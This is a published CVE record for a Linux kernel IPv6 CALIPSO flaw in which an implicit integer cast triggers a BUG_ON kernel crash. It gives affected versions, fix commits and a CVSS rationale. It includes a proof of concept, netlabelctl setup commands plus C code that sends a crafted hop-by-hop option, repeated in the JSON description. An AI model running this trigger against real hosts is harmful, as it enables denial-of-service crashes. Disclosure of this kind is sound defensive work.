CVE-2025-71085 (GCVE-0-2025-71085)
Vulnerability from cvelistv5
Published
2026-01-13 15:34
Modified
2026-08-05 12:11
Severity ?
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Summary
In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);
References
Impacted products
Vendor Product Version
Linux Linux Version: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Version: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Version: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Version: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Version: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Version: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Version: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
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          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);"
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              "value": "AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO\u0027s CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\nS:U - The assertion and resulting denial of service remain within the host kernel\u0027s existing security authority and do not cross a virtualization or sandbox boundary.\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure."
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\"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"bf3709738d8a8cc6fa275773170c5c29511a0b24\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"73744ad5696dce0e0f43872aba8de6a83d6ad570\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3\", \"lessThan\": \"58fc7342b529803d3c221101102fe913df7adb83\", \"versionType\": \"git\"}], \"programFiles\": [\"net/ipv6/calipso.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"4.8\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"4.8\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"5.10.248\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.10.*\"}, {\"status\": \"unaffected\", \"version\": \"5.15.198\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"5.15.*\"}, {\"status\": \"unaffected\", \"version\": \"6.1.160\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.120\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12.64\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.12.*\"}, {\"status\": \"unaffected\", \"version\": \"6.18.4\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.18.*\"}, {\"status\": \"unaffected\", \"version\": \"6.19\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"net/ipv6/calipso.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2\"}, {\"url\": \"https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910\"}, {\"url\": \"https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1\"}, {\"url\": \"https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0\"}, {\"url\": \"https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24\"}, {\"url\": \"https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570\"}, {\"url\": \"https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\\n\\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\\nnet/core/skbuff.c:2232 in pskb_expand_head().\\nThis bug is triggered as part of the calipso_skbuff_setattr()\\nroutine when skb_cow() is passed headroom \u003e INT_MAX\\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\\n\\nThe root cause of the bug is due to an implicit integer cast in\\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\\nbecomes negative, and pskb_expand_head() is passed a negative value for\\nnhead.\\n\\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\\n\\\"negative\\\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\\nby only using skb_cow() to grow headroom.\\n\\nPoC:\\n\\tUsing `netlabelctl` tool:\\n\\n        netlabelctl map del default\\n        netlabelctl calipso add pass doi:7\\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\\n\\n        Then run the following PoC:\\n\\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\\n\\n        // setup msghdr\\n        int cmsg_size = 2;\\n        int cmsg_len = 0x60;\\n        struct msghdr msg;\\n        struct sockaddr_in6 dest_addr;\\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\\n                        sizeof(struct cmsghdr) + cmsg_len);\\n        msg.msg_name = \u0026dest_addr;\\n        msg.msg_namelen = sizeof(dest_addr);\\n        msg.msg_iov = NULL;\\n        msg.msg_iovlen = 0;\\n        msg.msg_control = cmsg;\\n        msg.msg_controllen = cmsg_len;\\n        msg.msg_flags = 0;\\n\\n        // setup sockaddr\\n        dest_addr.sin6_family = AF_INET6;\\n        dest_addr.sin6_port = htons(31337);\\n        dest_addr.sin6_flowinfo = htonl(31337);\\n        dest_addr.sin6_addr = in6addr_loopback;\\n        dest_addr.sin6_scope_id = 31337;\\n\\n        // setup cmsghdr\\n        cmsg-\u003ecmsg_len = cmsg_len;\\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\\n\\n        sendmsg(fd, \u0026msg, 0);\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.10.248\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.15.198\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.160\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.120\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12.64\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.18.4\", \"versionStartIncluding\": \"4.8\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.19\", \"versionStartIncluding\": \"4.8\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2026-05-11T21:54:27.272Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-71085\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-07-14T12:44:31.177Z\", \"dateReserved\": \"2026-01-13T15:30:19.649Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2026-01-13T15:34:48.324Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


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